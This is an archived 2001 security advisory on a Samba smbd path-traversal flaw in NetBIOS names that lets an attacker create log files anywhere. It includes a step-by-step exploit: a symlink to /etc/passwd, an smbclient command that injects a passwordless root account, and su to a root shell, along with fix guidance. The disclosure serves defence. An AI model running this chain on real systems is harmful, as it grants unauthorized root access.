smbd remote file creation vulnerability

From: Michal Zalewski (lcamtuf@bos.bindview.com)
Date: Sun Jun 24 2001 - 05:24:26 CEST

  • Next message: secure@conectiva.com.br: "[CLA-2001:405] Conectiva Linux Security Announcement - samba"

    ** Please hold with approving this one before Monday, if possible.
    ** This is a forced release.

    Author: Michal Zalewski <lcamtuf@razor.bindview.com>

    Topic:

       Insufficient parameter validation and unsafe default configuration
       make numerous systems running samba SMB file sharing daemon vulnerable
       to remote attacks.

    Vulnerable platforms:

       Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and 7.1. Confirmed
       on 2.0.8.

    Overview:

       Due to insufficient NetBIOS computer name validation in incoming SMB
       requests, in conjunction with default configuration found for example
       in RedHat Linux and derivates, samba daemon allows remote attackers
       to create SMB session log files (*.log) with highly attacker-dependent
       contents outside outside logs directory. This vulnerability itself can
       be used to perform DoS attacks, or, if combined with unprivileged local
       access, can be used to gain superuser privileges.

       On vulnerable platforms, by default, each SMB session is logged
       to the file /var/log/samba/<netbios-name>.log. If the attacker is
       connecting from 'FOOBAR', logs would be put in /var/log/foobar.log.
       Unfortunately, NetBIOS name '../../../evil' would be accepted, as well,
       creating /evil.log file.

       This vulnerability is exploitable if the following setting is present
       in smb.conf file:

       log file = /var/log/samba/%m.log

       ...which is default on major Linux distributions, and probably few
       other platforms, as well. On some systems, configuration might be
       different:

       log file = /usr/local/samba/var/log.%m

       In the second case (e.g. FreeBSD), there is usually no way to exploit
       this vulnerability.

       Additionally, as noticed by Mark Loveless, using specific NetBIOS
       names, like 'non/existing/dir', it is possible to avoid logging
       of error messages (e.g. authentication failures) at all, which might be
       very useful for performing brute-force attacks.

       Note that any non-default configuration not using any prefix or
       suffix (log- or .log) in log filename would be vulnerable to
       instant remote compromise.

    Exploit:

       This is the scenario of local privilege escalation attack against
       RedHat 7.x installation:

       $ ln -s /etc/passwd /tmp/x.log

       $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
         -n ../../../tmp/x -N

       ...where 'NIMUE' stands for local host name (few error messages
       should be returned).

       $ su toor
       #

       Explaination of this attack is pretty trivial. Samba daemon tries
       to access logfile for host introducing itself as '../../../tmp/x'.
       This translates to open() on /var/log/samba/../../../tmp/x.log.
       Thus, /tmp/x.log is opened in O_APPEND mode, following previously
       created symlink to /etc/passwd.

       Then, anonymous attempt to mount non-existing share named
       "\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you
       prefer, in /etc/passwd. Error message looks this way:

       [2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
         Rejecting user 'lcamtuf': authentication failed
       [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
         ../../../tmp/x (192.233.133.108) couldn't find service
         toor::0:0::/:/bin/sh

       The last line is, obviously, accepted by /bin/su or /bin/login.

    Fix information:

       As a temporary workaround, we suggest changing 'log file' setting,
       as described above. This vulnerability has been confirmed by the
       vendor, and is addressed there:

       http://us1.samba.org/samba/whatsnew/macroexploit.html

       Removing '%m' at all would protect against attackers trying to avoid
       logging at all. Vendor was informed, fix will be publicly available
       soon.



    This archive was generated by hypermail 2b30 : Sun Jun 24 2001 - 17:00:29 CEST